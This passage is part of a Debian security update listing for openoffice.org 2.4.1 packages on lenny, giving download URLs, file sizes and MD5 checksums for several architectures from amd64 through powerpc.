      Size/MD5 checksum:   274852 9dac114fcf8cb1578b2c93a886b2a9b7
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:  3027300 f2ac532fdbbd4927f8c53405d7f3693b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base-core_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:  1005956 6f8d79c2f89db91fb16d71a4c1aa7829
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-calc_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:  5934956 51766a163eb07664b711011c5d0ef07c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-core_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum: 40098072 29128b3510c9241d06692ef4f5e99ae1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dbg_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum: 46757896 047e7c1a51c47b0ac55d19a0cdf0d383
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dev_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:  3962528 6f891e7e3a0e44567a53549040de5767
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-draw_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:  3022016 8e41549240a9e67d27d44fb36a31b7cb
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-evolution_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   360962 143354e3bbd33450d41c6468091f74e7
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-filter-binfilter_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:  8875214 38e64bd105c8e0644bb3ed7b8663ef28
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gcj_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:  4514008 8fc17ae93d594d4381ed8d25bc8761a8
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gnome_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   358700 71d8a4e5c5400be8498a4d0500ea3e81
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   476714 880d6fddd1115a612c93ed0017e883ab
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-headless_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   843698 98d2baba46970af5bb296c78891e2817
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-impress_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   917996 6cd2b4ea4c698794cf1567d41d2204fa
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-kde_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   504880 48931b3160f0c451ce87a4280b5c4330
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-math_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   597382 57b135930c2819dd034ba4460398aafa
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-officebean_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   319710 167db5d7960532a1ee26cf4651a7ad03
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-presentation-minimizer_1.0+OOo2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   533796 c589096ce723f935550fa5b0e7b97c7d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-qa-tools_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   871162 b1135cd170b7ed650c214d96438060d9
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-report-builder-bin_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:  1152968 87a900661174b3cd4883311317d26d6b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-sdbc-postgresql_0.7.6+OOo2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   734622 73b5d33fe132994ce9a390192918e5c4
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-writer_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:  7766866 4f998459a24843898e2977fc38bfa7d7
    http://security.debian.org/pool/updates/main/o/openoffice.org/python-uno_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   394662 0408cfa3603f24fde7086b2a322cd46e
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure_1.4+OOo2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:  3282720 076c0ff9999de492e64e999cd8b395fe
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure-dbg_1.4+OOo2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:  1374818 61ce18eb5091b86576e4530e7710d0d6

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/cli-uno-bridge_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   299938 27e1d440e527672f6f8d67f40b736092
    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   137920 37887a090179e4870639eec2ec7bc0cf
    http://security.debian.org/pool/updates/main/o/openoffice.org/mozilla-openoffice.org_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   307570 20130c75680a947ea5a506669df9a3c1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   275448 d1468a7681b0c8453f9395265326b31b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:  2959874 0f765b911cc361c19c9d75142a08d6cb
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base-core_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   973368 9f8e7bbc38f270909cc62df0be702a4c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-calc_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:  5672538 28333bd5dec2d044218ca1869465a211
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-core_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum: 38672104 58ccc357d0d9f235b1f694944c4728dd
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dbg_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum: 45892092 d9baa0c01bca5e0c94c973879f730701
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dev_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:  3965926 16d7d25ad4d6aef676e72ca86b9a9299
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-draw_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:  2944614 11e297131057c1de311fbca85d8da35f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-evolution_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   355404 2531b0f0cb86c3e0bd81220f37adcf20
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-filter-binfilter_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:  8479944 52a6b4ae872be67e616950cd38d9d841
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gcj_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:  3582334 83596c184941b5c5f40e43ef6fb78c5a
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gnome_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   355504 43e250200ebe88d914cf54d0d9013ccf
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   470094 1a3fdb5daa7f232cb2743d5c2bdbe0af
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-headless_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   814468 35e8273c487dded8b65f4ce648fa057a
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-impress_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   899112 c89344d338c01dfe0aeef05a9565c8a8
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-kde_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   492812 febb70afc5ab1e907c95e149d47c3107
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-math_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   585332 cc89fb4b1eadf35139282e3320814b5d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-officebean_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   321262 ef93aa62143bf41964ae39a5fb89ac41
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-ogltrans_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   322214 72048dceb9e80e16725b1f7cacfe5a9b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-presentation-minimizer_1.0+OOo2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   526938 5083c91850a825c512d97b1ae18cb0b7
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-qa-tools_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   868762 5d6e91e08d5d08abe060f3feed3730f9
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-report-builder-bin_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:  1126142 4cda7c4d69d3799ce7af645b3d14ab2c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-sdbc-postgresql_0.7.6+OOo2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   698440 2b8070e7d629264ffd73987253308bdc
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-writer_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:  7503988 603ffaa8c45a4a0a54cf5df11803e122
    http://security.debian.org/pool/updates/main/o/openoffice.org/python-uno_2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:   391160 cc2e19376e3efb1ea30c345aade76a54
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure_1.4+OOo2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:  3195456 22b94295cd1f36ca3b400fe5c911e152
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure-dbg_1.4+OOo2.4.1+dfsg-1+lenny3_i386.deb
      Size/MD5 checksum:  1330976 5e314339f4c40b32d15e53f377fe420d

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/cli-uno-bridge_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:   303664 77af9fd1b96762f96e3a414f0c89cbe8
    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:   138306 f202861a86e80a0af7bf2f2754918e68
    http://security.debian.org/pool/updates/main/o/openoffice.org/mozilla-openoffice.org_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:   321026 c49a6d45fabcb8f22bb3628f9a6c97fa
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:   277094 6b185d9e44ee7eba68f0182cb6879e6d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:  3993458 36ef99883e85379b48db9b75893a5dab
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base-core_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:  1327626 97dba21e1d242850916e0877d1cbac52
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-calc_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:  8430078 72c4ec8a993a7ff19e1bb55486c896ac
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-core_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum: 52799450 2c29d8b44a246c234385c2d490e2d39c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dbg_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum: 38637334 a44658aaed187036c4fe509601de5ea3
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dev_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:  4358096 333bbc80b433f26cd41ae33131aad7e1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-draw_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:  4021792 70cafaf597ace3012dbe4aed10ec3b2d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-evolution_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:   392704 03114a4c3adceafc7688de90f342c9d1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-filter-binfilter_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum: 12303884 10b2a3ebd5e26fa72e6fb3d71f28de05
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gcj_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:  5907618 4e657181b29ba11ee6035479f7e8e6bc
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gnome_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:   383582 4416188667046942cbb8056e0089f6c1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:   554008 27418724ca52421ed34b0c45149fdc89
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-headless_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:  1212304 48fbeacfed3753f3af0dc89b1acd7546
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-impress_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:  1172492 cb618c6fb6659a28a9b0818a179db470
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-kde_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:   569488 8d965b1cd19221ef64e1ed1a93a95e96
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-math_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:   707058 9f53139ed27854a53a31198901e1add7
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-officebean_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:   321790 fe3f5fcccab2466963e4cab91f4af769
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-presentation-minimizer_1.0+OOo2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:   578888 03b8e8a9804b089ef3312abbcfa97034
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-report-builder-bin_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:  1474298 acab7c34c32838f0de00d714e5a15a3b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-sdbc-postgresql_0.7.6+OOo2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:   819784 b43422b31beb507eb0d8b1188314182f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-writer_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum: 11036894 fb512d9520de7f886aa4103207cfd088
    http://security.debian.org/pool/updates/main/o/openoffice.org/python-uno_2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:   424608 b87e0453a11473ab126918cf4cdc3af2
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure_1.4+OOo2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:  3901454 272d1903ef23a79171c2e14fee10de94
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure-dbg_1.4+OOo2.4.1+dfsg-1+lenny3_ia64.deb
      Size/MD5 checksum:  1190728 3ddf8314e88bbb2a6573e2b3a303f21f

  Big endian MIPS architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   138282 d4c0b91747769e3ef315219e0ac0b382
    http://security.debian.org/pool/updates/main/o/openoffice.org/mozilla-openoffice.org_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   305196 7e847394b65ad4bc17279d2636d80e0f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   275770 086dc94464052b7f1d18dcb23a6c5dab
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:  2555236 31997de6392b76d3769865d5b673a50c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base-core_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   880084 9bb343d5793e231f745c3d385cabcc3e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-calc_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:  5057702 f8b07b667d8cf0b042fafb2e9dfd19af
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-core_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum: 34657112 a9c767c26102b3a678d0d0cfd7484828
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dbg_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum: 50731636 9591c297f7cac9905413beadec1aa9d1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dev_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:  3724564 bad47422fc506f92abf4e10d3ff15cbc
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-draw_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:  2598820 e1267eead80be17e79cdf700f7220865
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-evolution_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   363242 c409db6976203ceaf771b20b06c5a086
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-filter-binfilter_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:  7578490 f3d281b24ea63b9be588b62a5b7f33cc
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gcj_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:  3931780 c50d4893c102245b6c11a843e3f9b4d5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gnome_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   348698 95d90d93154051fa3022059c09f6bb4e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   453398 6f6555a435ded3290318e5d1c6c4547e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-headless_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   571216 1ebef3d37c16245cc5d3b7ecc476e9f0
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-impress_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   799274 5d520c10d0ecdf25995de702aeaf9591
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-kde_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   479850 8a533cb2ff1c3e4e4a557488f1cd80b5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-math_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   553644 1c520f9e347d55768610558f08ebe991
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-officebean_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   318818 821629662a40e341a35e2e121d05931e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-presentation-minimizer_1.0+OOo2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   496856 9264c6f5142b787b75c3220d1683d938
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-qa-tools_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   821282 63e005da8d621072384ec020d0e7353b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-report-builder-bin_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   999848 0e8355957418a707cba8f2d4c9c1cfc9
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-sdbc-postgresql_0.7.6+OOo2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   708060 342b1ffa256eab196253611e77ec9566
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-writer_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:  6605326 3e074be86ac1a077c6a81afe93f4b8c6
    http://security.debian.org/pool/updates/main/o/openoffice.org/python-uno_2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:   385538 d93d90d72d99ffa69814a677c6360ac1
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure_1.4+OOo2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:  3010340 1f5a79d2c432bf8ba15deb542a7dcc66
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure-dbg_1.4+OOo2.4.1+dfsg-1+lenny3_mips.deb
      Size/MD5 checksum:  1473636 6168b1520acd6187a0f48c06bdd6f35a

  Little endian MIPS architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   138462 24352afceef85cf49922dd3e4ad10ad4
    http://security.debian.org/pool/updates/main/o/openoffice.org/mozilla-openoffice.org_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   305142 e20c4ea332512fce34aa96f784fa77ae
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   277102 81af75b2a9a439a6d21d1cbdd1d60c14
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:  2490728 f79621c0d55495fae4870e2ab182e5a9
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base-core_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   846886 ca26c1d51c9bfbab6103797b6b22605d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-calc_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:  4892922 eb787463f0aae7c2106871238314675a
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-core_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum: 33155434 0fe3648b74b34dea2ba5637808e313fe
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dbg_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum: 49006762 2ba223c524865506b3c5f06bd59d9c39
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dev_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:  3677578 70d4d9d7bca63efdae9ee9be1566a0b2
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-draw_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:  2518600 5cf1ba5e21f67c7ad5d5d44cb61ae091
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-evolution_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   357590 b0207b6422215c35c6f05a93eec6226b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-filter-binfilter_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:  7341546 7e5c560981d86c7a1a744039ab00107f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gcj_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:  3604970 8e0a3bf565f3a602c9c3624db91816fd
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gnome_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   348562 c53ca51df14b7e59a9b7cd4b54d35054
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   451170 70d954b77f6e7037090b8cc30e7eae6e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-headless_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   568106 151018306ca9a8a5b08d589fe15d4f89
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-impress_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   784462 8b05bb2230f4a8d99028a67fe1f8f378
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-kde_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   473060 d0cb650af969dd9881bc93025c5a9c08
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-math_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   549152 878a6e121062e126a956385ec6bec572
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-officebean_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   320874 ea4e20a1cf1a3984328c2d3a2a978657
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-presentation-minimizer_1.0+OOo2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   492216 4407cbaf95ce2a17d69f83dd15b753ce
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-qa-tools_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   820398 d2a46adf864794689dc3238d3a4027ac
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-report-builder-bin_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   969386 0435a67cc8449ac7eb6b5b2a13614231
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-sdbc-postgresql_0.7.6+OOo2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   683412 6f9e6d4865fc25b450ca8212e4f6b139
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-writer_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:  6360990 1a2ebd18114610ab6958a71265578ce7
    http://security.debian.org/pool/updates/main/o/openoffice.org/python-uno_2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:   382024 1465cf2603f3d8eb5c17a2366c7d052d
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure_1.4+OOo2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:  2953382 8fcb3560b5ba5f2300f0e2ff16a57b59
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure-dbg_1.4+OOo2.4.1+dfsg-1+lenny3_mipsel.deb
      Size/MD5 checksum:  1451876 05ecef6ed4f9a1d0feac9397f39f0fd8

  PowerPC architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   138556 8fa6c7c1ed1f18abe9c052943843c6a9
    http://security.debian.org/pool/updates/main/o/openoffice.org/mozilla-openoffice.org_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   312072 04b06219052311f3d3e2019370c34e1a
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   275478 d2a7a00f88785c1cd15f46722fc11605
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:  2598392 7d5b2a7c2cb13f9990f2c0b3e86fd0d2
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base-core_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   858950 8122da9216f5c9be8a82992182181e46
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-calc_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:  4933324 ccbee54d02b345123074e075004613ce
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-core_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum: 35728398 aefbd2862eab196e13790de7f55c7016
